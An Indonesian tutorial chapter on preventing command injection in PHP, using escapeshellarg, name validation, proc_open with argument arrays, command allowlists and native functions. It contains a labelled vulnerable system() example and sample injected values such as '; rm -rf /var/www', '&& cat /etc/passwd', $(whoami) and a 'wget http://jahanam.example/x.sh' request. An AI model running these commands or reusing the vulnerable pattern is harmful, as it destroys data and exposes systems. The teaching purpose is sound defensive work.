Ketika aplikasi PHP memanggil program eksternal — mengonversi gambar, membuat PDF, menjalankan tool baris perintah — kita meminjam kekuatan shell sistem operasi, dan bersamanya seluruh bahasa meta yang dimiliki shell: pemisah perintah, substitution, redirect. Satu karakter titik koma dari pengguna bisa mengubah satu perintah menjadi dua, dan perintah kedua berjalan dengan hak penuh milik proses web. Command injection adalah kelas celah dengan dampak paling total — remote code execution — sekaligus salah satu yang paling mudah dicegah. Chapter ini membedah fungsi-fungsi berbahaya, anatomi payload klasik, dan tiga lapis pertahanan: mengurung argumen, melewati shell, dan bila memungkinkan tidak memanggil proses luar sama sekali.

Fungsi yang Menjalankan Shell #

PHP menyediakan sekelompok fungsi untuk mengeksekusi program eksternal, dan semuanya berbagi risiko yang sama. Tabel berikut memetakan yang paling sering dijumpai:

FungsiMengembalikanCatatan
system()baris terakhir output, langsung mencetaksering dipakai contoh rentan
exec()baris terakhir output (array opsional)output tidak otomatis tampil
shell_exec()seluruh output sebagai stringalias backtick `
passthru()langsung ke output buffercocok binary seperti gambar
popen() / proc_open()handle prosesproc_open() paling fleksibel dan paling bisa diamankan

Semua fungsi di atas menerima string perintah yang diteruskan ke /bin/sh — kecuali proc_open() yang punya mode array argumen yang melewati shell sepenuhnya, dan akan menjadi bintang pertahanan kita di bawah. Bahaya muncul persis pada titik di mana bagian dari string itu berasal dari pengguna.

Anatomi Serangan: Titik Koma yang Mematikan #

Cerita klasiknya berawal dari fitur yang tampak polos: aplikasi galeri membuat thumbnail dengan ImageMagick memakai nama berkas dari parameter URL. Kode rentannya berbentuk pola system("convert uploads/{$nama} thumbs/{$nama}"). Penyerang tidak mengirim nama berkas, melainkan potongan shell:

bash
convert uploads/gambar.png; rm -rf /var/www thumbs/gambar.png

Shell menafsirkan titik koma sebagai pemisah perintah, jadi baris di atas menjalankan convert seperti biasa, lalu melanjutkan ke perintah kedua milik penyerang — rm -rf /var/www yang menghapus seluruh aplikasi. Karakter lain punya kekuatan serupa: && menjalankan perintah kedua bila pertama sukses, `id` dan $(whoami) menjalankan substitution lalu menyisipkan hasilnya, | mem-pipe output ke program lain. Wujud PHP dari pola rentannya:

php
<?php
// RENTAN - contoh pembelajaran, jangan ditiru di kode nyata!
$namaFile = $_GET['nama'] ?? 'gambar.png';

// Input "gambar.png; rm -rf /var/www" menjadi dua perintah terpisah
system("convert uploads/{$namaFile} thumbs/{$namaFile}");

Perhatikan bahwa masalahnya bukan system()-nya, melainkan string perintah yang dirakit dengan concatenation — persis pola SQL injection, hanya berganti interpreter dari SQL ke shell.

escapeshellarg: Mengurung Satu Argumen #

Pertahanan pertama adalah escapeshellarg(): fungsi ini mengurung nilai dalam kutip tunggal dan meng-escape kutip tunggal di dalamnya, sehingga apa pun isinya menjadi tepat satu argumen yang tidak bisa ditafsirkan ulang oleh shell:

php
<?php
$payload = [
    'laporan.txt; rm -rf /var/www',
    'foto.jpg && cat /etc/passwd',
    'budi $(whoami)',
    '`id`',
];

foreach ($payload as $p) {
    echo 'mentah : ' . $p . "\n";
    echo 'aman   : ' . escapeshellarg($p) . "\n\n";
}

Output yang Dihasilkan:

text
mentah : laporan.txt; rm -rf /var/www
aman   : 'laporan.txt; rm -rf /var/www'

mentah : foto.jpg && cat /etc/passwd
aman   : 'foto.jpg && cat /etc/passwd'

mentah : budi $(whoami)
aman   : 'budi $(whoami)'

mentah : `id`
aman   : '`id`'

Mari kita baca hasil pengurungannya:

  1. 'laporan.txt; rm -rf /var/www' — titik koma kini berada di dalam kutip, jadi shell melihat satu nama berkas aneh bernama persis begitu, bukan dua perintah.
  2. 'foto.jpg && cat /etc/passwd' — && kehilangan makna pemisah dengan alasan yang sama.
  3. 'budi $(whoami)' dan '`id`' — substitution tidak dieksekusi di dalam kutip tunggal; keduanya tiba sebagai teks mati.

Aturan pakainya lugas: setiap nilai yang berasal dari luar (nama berkas, email, kata pencarian) wajib dibungkus escapeshellarg() pada saat disisipkan ke string perintah — dan hanya nilainya, bukan nama programnya.

Argument Injection Tanpa Karakter Shell #

Ada jebakan kedua yang lebih halus: penyerang tidak butuh karakter shell sama sekali untuk mengubah perilaku program. Cukup menyelundupkan opsi tambahan — foto.jpg -verbose, @konfig-jahat, -o /etc/crontab — dan tool target membacanya sebagai argumen miliknya sendiri. Inilah argument injection, dan inilah mengapa saudara escapeshellarg() yaitu escapeshellcmd() tidak boleh dipakai sendirian:

php
<?php
$nama1 = 'laporan; rm -rf /';
$nama2 = 'foto.jpg -verbose';

echo 'escapeshellcmd : ' . escapeshellcmd($nama1) . "\n";
echo 'escapeshellarg : ' . escapeshellarg($nama1) . "\n\n";
echo 'escapeshellcmd : ' . escapeshellcmd($nama2) . "\n";
echo 'escapeshellarg : ' . escapeshellarg($nama2) . "\n";

Output yang Dihasilkan:

text
escapeshellcmd : laporan\; rm -rf /
escapeshellarg : 'laporan; rm -rf /'

escapeshellcmd : foto.jpg -verbose
escapeshellarg : 'foto.jpg -verbose'

Perbedaan hasil pada nama kedua adalah intinya: escapeshellcmd() meng-escape meta-karakter shell (titik koma jadi \;) tetapi membiarkan spasi tetap menjadi pemisah kata, sehingga -verbose lepas sebagai argumen kedua program. escapeshellarg() mengurung semuanya menjadi satu kesatuan. Sejarah mencatat pelajaran ini dengan mahal: celah ImageMagick tahun 2016 sebagian besar dieksploitasi lewat opsi menyamar persis seperti ini pada kode yang “sudah memakai escapeshellcmd()”. Karena itu validasi masukan tetap wajib sebelum nilai menyentuh shell:

php
<?php
function namaBerkasValid(string $nama): bool
{
    return preg_match('/^[a-zA-Z0-9._-]+$/', $nama) === 1
        && !str_starts_with($nama, '-');
}

foreach (['laporan-2026.txt', 'foto.jpg -verbose', '../etc/passwd', '-rf', 'budi;ls'] as $nama) {
    echo str_pad($nama, 20) . ' => ' . (namaBerkasValid($nama) ? 'DIIZINKAN' : 'DITOLAK') . "\n";
}

Output yang Dihasilkan:

text
laporan-2026.txt     => DIIZINKAN
foto.jpg -verbose    => DITOLAK
../etc/passwd        => DITOLAK
-rf                  => DITOLAK
budi;ls              => DITOLAK

Pola regex memastikan hanya huruf, angka, titik, garis bawah, dan tanda minus yang lolos — spasi otomatis menggugurkan argument injection, ../ menggugurkan path traversal, dan pemeriksaan awalan - menolak nama yang menyamar sebagai opsi.

Lewati Shell dengan proc_open dan Array Argumen #

Pertahanan kedua menghapus penerjemahnya sama sekali. proc_open() menerima perintah sebagai array: elemen pertama adalah program, sisanya argumen satu-per-satu, tanpa /bin/sh pernah dilibatkan. Tanpa shell, tidak ada titik koma yang perlu ditakuti:

php
<?php
$descriptor = [1 => ['pipe', 'w']];

// Bentuk array: tidak ada shell yang ikut menafsirkan string
$command = [
    PHP_BINARY,
    '-r',
    'echo "payload tiba utuh: [", $argv[1], "]\n";',
    '--',
    'laporan; rm -rf /var/www',
];

$proses = proc_open($command, $descriptor, $pipes);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$kode = proc_close($proses);

echo rtrim($output, "\n") . "\n";
echo 'Exit code: ' . $kode . "\n";

Output yang Dihasilkan:

text
payload tiba utuh: [laporan; rm -rf /var/www]
Exit code: 0

Bedah barisnya:

  1. $descriptor menyatakan stdout proses anak diarahkan ke pipe yang bisa kita baca dari PHP.
  2. Array $command memakai PHP_BINARY (path binary PHP yang sedang berjalan) sebagai contoh program eksternal yang pasti ada di lingkungan mana pun — di aplikasi nyata ini bisa berupa convert atau libreoffice.
  3. '--' menandai akhir opsi, dan payload berbahaya tiba di program sebagai $argv[1] yang utuh — karakter ;-nya tercetak apa adanya karena memang tidak pernah ditafsirkan siapa pun.
  4. proc_close() mengembalikan exit code, memungkinkan kita menangani kegagalan program secara eksplisit.

Bentuk array ini juga menuntut kejujuran arsitektur: tidak ada lagi “string perintah” yang bisa dirakit-rakit; program adalah program, argumen adalah data.

Allowlist Perintah dan Fungsi Native #

Pertahanan ketiga bersifat desain: jangan biarkan pengguna memilih perintah, sediakan alias internal yang dipetakan ke argv tetap, dan biarkan input hanya mengisi argumen yang sudah tervalidasi:

php
<?php
$perintahTersedia = [
    'ukuran-gambar' => ['identify', '-format', '%wx%h'],
    'versi-tools'   => ['convert', '--version'],
];

function bangunArgv(array $allowlist, string $alias, string $berkas): array|false
{
    if (!isset($allowlist[$alias])) {
        return false;
    }
    $nama = basename($berkas);
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $nama) || str_starts_with($nama, '-')) {
        return false;
    }
    return [...$allowlist[$alias], $nama];
}

$permintaan = [
    ['ukuran-gambar', 'banner.png'],
    ['ukuran-gambar', 'banner.png -verbose'],
    ['wget http://jahanam.example/x.sh', 'apapun.png'],
];

foreach ($permintaan as [$alias, $berkas]) {
    $argvBaru = bangunArgv($perintahTersedia, $alias, $berkas);
    echo str_pad($alias, 38) . ' => '
        . ($argvBaru === false ? 'DITOLAK' : json_encode($argvBaru)) . "\n";
}

Output yang Dihasilkan:

text
ukuran-gambar                          => ["identify","-format","%wx%h","banner.png"]
ukuran-gambar                          => DITOLAK
wget http://jahanam.example/x.sh       => DITOLAK

Permintaan wget ... mati di allowlist karena aliasnya tidak dikenal, dan opsi semu ditolak di validator nama. Pertanyaan terakhir yang selalu layak diajukan: apakah kita benar-benar butuh proses eksternal? PHP native sering sudah memiliki fungsinya tanpa risiko shell sama sekali:

KebutuhanPerintah shellAlternatif native PHP
Ukuran berkaswc -cfilesize()
Daftar direktorilsscandir(), glob()
Hapus berkasrmunlink()
Info gambaridentifygetimagesize()
Ambil URLcurlfile_get_contents() dengan stream context
Kompresigzipgzencode()

Ringkasan #

Command injection lahir ketika string perintah dirakit dengan concatenation, dan shell menafsirkan karakter penyerang sebagai bahasanya sendiri — dari ; sampai opsi semu. Pertahanannya berlapis: escapeshellarg() mengurung nilai menjadi satu argumen, validasi nama mematikan argument injection, proc_open() bentuk array menghapus shell dari persamaan, allowlist membatasi perintah apa yang bisa dipanggil, dan fungsi native menghapus kebutuhan proses luar. Kerabat dekat topik ini di dunia filesystem — nama berkas yang menentukan path yang dibuka — kita bahas tuntas pada chapter Path Traversal berikutnya.

Referensi #